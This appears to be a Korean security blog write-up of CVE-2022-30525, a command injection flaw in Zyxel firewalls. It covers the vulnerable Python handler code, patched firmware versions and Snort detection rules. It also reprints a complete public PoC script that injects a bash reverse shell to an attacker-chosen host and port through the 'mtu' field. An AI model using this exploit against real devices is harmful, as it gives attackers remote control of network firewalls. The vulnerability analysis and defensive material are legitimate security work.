1. Zyxel

- 네트워크 통신 장비를 서비스하는 대만 다국적 기업

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2022-30525

- 취약한 Zyxel 방화벽의 관리 HTTP 인터페이스(인터넷에 노출된 경우)를 통해 OS 명령을 실행할 수 있는 취약점

영향받는 제품
① USG FLEX 100(W), 200, 500, 700 – 펌웨어: ZLD V5.00 ~ ZLD V5.21 패치 1
② USG FLEX 50(W) / USG20(W)-VPN – 펌웨어: ZLD V5.10 ~ ZLD V5.21 패치 1
③ ATP 시리즈 – 펌웨어: ZLD V5.10 ~ ZLD V5.21 패치 1
④ VPN 시리즈 – 펌웨어: ZLD V4.60 ~ ZLD V5.21 패치 1
※ 이러한 제품은 일반적으로 VPN, SSL 검사, 침입 방지, 이메일 보안 및 웹 필터링을 위해 소규모 지점 및 기업 본사에서 사용

[사진 2] 쇼단 검색 화면

2.1 분석

- 해당 취약점은 /ztp/cgi-bin/handler URI를 통해 악용되며, 취약한 기능은 setWanPortSt 명령과 관련

- handler.py에서 지원하는 명령은 다음과 같음

※ handler: 다양한 명령을 처리하는 Python 스크립트

supported_cmd = ["ping", "dnsanswer", "ps", "peek", "kill", "pcap", "traceroute", \
  "atraceroute", "iptables", "getorchstat", \
  "getInterfaceName_out", "getInterfaceInfo", \
  #"getSingleInterfaceInfo", "getAllInterfaceInfo", \
  #"getInterfaceNameAll", "getInterfaceNameMapping", \
  "nslookup", "iproget", \
  "diagnosticinfo", "networkUnitedTest", \
  #"setRemoteAssistActive", "getRemoteAssist", \
  "setRemoteZyxelSupport", "getRemoteZyxelSupport", \
  "getWanPortList", "getWanPortSt", "setWanPortSt", "getZTPurl", "getWanConnSt", \
  "getUSBSt","setUSBmount","setUSBactive", \
  "getDiagnosticInfoUsb", \
  "getDeviceCloudInfo", "getpacketcapconf", "getpacketcapst", "packetcapstart", "packetcapend", "packetcapremovefile", \
  "getlanguagest","setlanguage"
]

 

- setWanPortSt 명령을 통한 요청일 경우 handler.py는 lib_wan_settings.py의 setWanPortSt를 호출

def setWanPortSt(req):

    reply = {}
    vlan_tagged = ''
    logging.info(req)
    port = req["port"].strip()

    vlanid = req["vlanid"]
    proto = req["proto"]
    data = req["data"]
    vlan_tagged = req["vlan_tagged"]
    
    cmdLine = ''
    GUIportst = {}
    
    extname = findextname(port)

    #TODO: subprocess method
    try:
        if vlan_tagged == '1':
            if vlanid == '':
                vlanid == '0'

        if proto == "dhcp":
            if 'mtu' not in req:
                req['mtu'] = '1500'
            if vlan_tagged == '1':
                cmdLine = '/usr/sbin/sdwan_iface_ipc 11 '
            else:
                cmdLine = '/usr/sbin/sdwan_iface_ipc 1 '
            #extname = findextname(port)
            cmdLine += extname + ' ' + port.lower() + ' ' + req['mtu']
            if vlan_tagged == '1':
                cmdLine += ' ' + vlanid
            if "option60" in data:
                cmdLine += ' ' + data['option60']
            cmdLine += ' >/dev/null 2>&1'
        elif proto == "static":
            if 'mtu' not in req:
                req['mtu'] = '1500'
            prefix_length = netmask_to_cidr(data['netmask'])
            if vlan_tagged == '1':
                cmdLine = '/usr/sbin/sdwan_iface_ipc 12 '
            else:
                cmdLine = '/usr/sbin/sdwan_iface_ipc 2 '
            #extname = findextname(port)
            cmdLine += extname + ' ' + port.lower() + ' ' + data['ipaddr'] + ' ' + str(prefix_length) + ' ' + data['gateway'] + ' ' + req['mtu']
            if vlan_tagged == '1':
                cmdLine += ' ' + vlanid
            cmdLine += ' ' + data['firstDnsServer']
            if 'secondDnsServer' in data:
                cmdLine += ' ' + data['secondDnsServer']
            cmdLine += ' >/dev/null 2>&1'
        elif proto == "pppoe":
            if vlan_tagged == '1':
                cmdLine = '/usr/sbin/sdwan_iface_ipc 13 '
            else:
                cmdLine = '/usr/sbin/sdwan_iface_ipc 3 '
            #extname = findextname(port)

            if 'auth_type' not in data:
                data['auth_type'] = 'chap-pap'
            if 'mtu' not in req:
                req['mtu'] = '1492'
            if 'ipaddr' not in data:
                data['ipaddr'] = '0.0.0.0'
            if 'gateway' not in data:
                data['gateway'] = '0.0.0.0'
            if 'firstDnsServer' not in data:
                data['firstDnsServer'] = '0.0.0.0'

            cmdLine += extname + ' ' + port.lower() + ' ' + data['username'] + ' ' + data['password'] 
                + ' ' + data['auth_type'] 
                + ' ' + data['ipaddr'] + ' ' + data['gateway'] 
                + ' ' + data['firstDnsServer'] + ' ' + req['mtu']
            if vlan_tagged == '1':
                cmdLine += ' ' + vlanid
            cmdLine += ' >/dev/null 2>&1'
            
        logging.info("cmdLine = %s" % cmdLine)
        with open("/tmp/local_gui_write_flag", "w") as fout:
            fout.write("1");

        response = os.system(cmdLine) 
        logging.info(response)
        if response != 256:
            logging.info("cmd thread return error")
            reply = {"error": 500}
        else:
            logging.info("cmd success!!")
            reply["stdout"] = [{}]
            reply["stderr"] =""
            with open(WAN_PORT_LAST_CHANGED, "w") as fout:
                fout.write(port)
            if not os.path.exists(ztpinclude.PATH_WAN_MODIFIED_TO_CLOUD):
                reply = {"error": 500, "exception": "Cannot find data2cloud folder!"}
            with open(ztpinclude.PATH_WAN_MODIFIED_TO_CLOUD + 'local_wan_modified', 'a+') as fout:
                fout.write(port + ' ')
            
    except Exception as e:
        reply = {"error": 500, "exception": e}
   
    return reply

 

- setWanPortSt()는 사용자 요청을 검증 없이 cmdLine 변수에 저장 후 os.system(cmdLine)으로 명령을 실행

def setWanPortSt(req):

...

 if proto == "dhcp":
            if 'mtu' not in req:
                req['mtu'] = '1500'
            if vlan_tagged == '1':
                cmdLine = '/usr/sbin/sdwan_iface_ipc 11 '
            else:
                cmdLine = '/usr/sbin/sdwan_iface_ipc 1 '
            #extname = findextname(port)
            cmdLine += extname + ' ' + port.lower() + ' ' + req['mtu']
            if vlan_tagged == '1':
                cmdLine += ' ' + vlanid
            if "option60" in data:
                cmdLine += ' ' + data['option60']
            cmdLine += ' >/dev/null 2>&1'

...

cmdLine += extname + ' ' + port.lower() + ' ' + data['username'] + ' ' + data['password'] 
                + ' ' + data['auth_type'] 
                + ' ' + data['ipaddr'] + ' ' + data['gateway'] 
                + ' ' + data['firstDnsServer'] + ' ' + req['mtu']
                
...

response = os.system(cmdLine)

 

2.2 PoC

- exploit(url, host, port)의 data 변수를 사용해 임의의 명령을 삽입

from requests.packages.urllib3.exceptions import InsecureRequestWarning
import sys
import json
import base64
import requests
import argparse


parser = argparse.ArgumentParser(
    prog="CVE-2022-30525.py",
    description="Example : python3 %(prog)s -u https://google.com -r 127.0.0.1 -p 4444",
)
parser.add_argument("-u", dest="url", help="Specify target URL")
parser.add_argument("-r", dest="host", help="Specify Remote host")
parser.add_argument("-p", dest="port", help="Specify Remote port")

args = parser.parse_args()

banner = (
    "ICwtLiAuICAgLCAsLS0uICAgICAsLS4gICAsLS4gICwtLiAgLC0uICAgICAgLC0tLCAgLC0uICA7"
    "LS0nICwtLiAgOy0tJyAKLyAgICB8ICAvICB8ICAgICAgICAgICApIC8gIC9cICAgICkgICAgKSAg"
    "ICAgICAvICAvICAvXCB8ICAgICAgICkgfCAgICAKfCAgICB8IC8gICB8LSAgIC0tLSAgIC8gIHwg"
    "LyB8ICAgLyAgICAvICAtLS0gIGAuICB8IC8gfCBgLS4gICAgLyAgYC0uICAKXCAgICB8LyAgICB8"
    "ICAgICAgICAgLyAgIFwvICAvICAvICAgIC8gICAgICAgICAgKSBcLyAgLyAgICApICAvICAgICAg"
    "KSAKIGAtJyAnICAgICBgLS0nICAgICAnLS0nICBgLScgICctLScgJy0tJyAgICAgYC0nICAgYC0n"
    "ICBgLScgICctLScgYC0nICAKCVJldnNoZWxscwkoQ3JlYXRlZCBCeSBWYWxlbnRpbiBMb2JzdGVp"
    "biA6KSApCg=="
)


def main():

    print("\n" + base64.b64decode(banner).decode("utf-8"))

    if None in vars(args).values():
        print(f"[!] Please enter all parameters !")
        parser.print_help()
        sys.exit()

    if "http" not in args.url:
        args.url = "https://" + args.url
    args.url += "/ztp/cgi-bin/handler"
    exploit(args.url, args.host, args.port)


def exploit(url, host, port):
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0",
        "Content-Type": "application/json",
    }

    data = {
        "command": "setWanPortSt",
        "proto": "dhcp",
        "port": "4",
        "vlan_tagged": "1",
        "vlanid": "5",
        "mtu": f'; bash -c "exec bash -i &>/dev/tcp/{host}/{port}<&1;";',
        "data": "hi",
    }
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    print(f"\n[!] Trying to exploit {args.url.replace('/ztp/cgi-bin/handler','')}")

    try:
        response = requests.post(
            url=url, headers=headers, data=json.dumps(data), verify=False, timeout=5
        )
    except (KeyboardInterrupt, requests.exceptions.Timeout):
        print("[!] Bye Bye hekcer !")
        sys.exit(1)
    finally:

        try:
            print("[!] Can't exploit the target ! Code :", response.status_code)

        except:
            print("[!] Enjoy your shell !!!")


if __name__ == "__main__":
    main()

[사진 3] 공격 패킷 일부

3. 대응방안

3.1 서버측면

① 해당 벤더사에서 발표한 보안 권고를 참고하여 최신 버전으로 업데이트 적용

제품명 영향받는 버전 해결 버전
USG FLEX 100(W), 200, 500, 700 ZLD V5.00 ~ ZLD V5.21 Patch 1 ZLD V5.30
USG FLEX 50(W) / USG20(W)-VPN ZLD V5.10 ~ ZLD V5.21 Patch 1 ZLD V5.30
ATP series ZLD V5.10 ~ ZLD V5.21 Patch 1 ZLD V5.30
VPN series ZLD V4.60 ~ ZLD V5.21 Patch 1 ZLD V5.30

https://www.zyxel.com/support/Zyxel-security-advisory-for-OS-command-injection-vulnerability-of-firewalls.shtml

 

3.2 네트워크 측면

① 공개된 PoC를 확인해 탐지 정책 적용

alert tcp $EXTERNAL_NET any -> $HOME_NET any(msg:"Zyxel Firewall handler mtu RCE (CVE-2022-30525)";flow:to_server, established;content:"/ztp/cgi-bin/handler";)

alert tcp $EXTERNAL_NET any -> $HOME_NET any(msg:"Zyxel Firewall handler mtu RCE (CVE-2022-30525)";flow:to_server, established;content:"/ztp/cgi-bin/handler";content:"setWanPortSt"; http_client_body;)

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2022-30525

https://www.exploit-db.com/exploits/50946

- http://www.zyxel.kr/bbs/board.php?bo_table=notice&wr_id=169&page=2

https://www.rapid7.com/blog/post/2022/05/12/cve-2022-30525-fixed-zyxel-firewall-unauthenticated-remote-command-injection/

https://www.bleepingcomputer.com/news/security/zyxel-fixes-firewall-flaws-that-could-lead-to-hacked-networks/

https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-os-command-injection-vulnerability-of-firewalls

https://www.zyxel.com/support/Zyxel-security-advisory-for-OS-command-injection-vulnerability-of-firewalls.shtml

- https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=66715

https://blog.alyac.co.kr/4715

+ Recent posts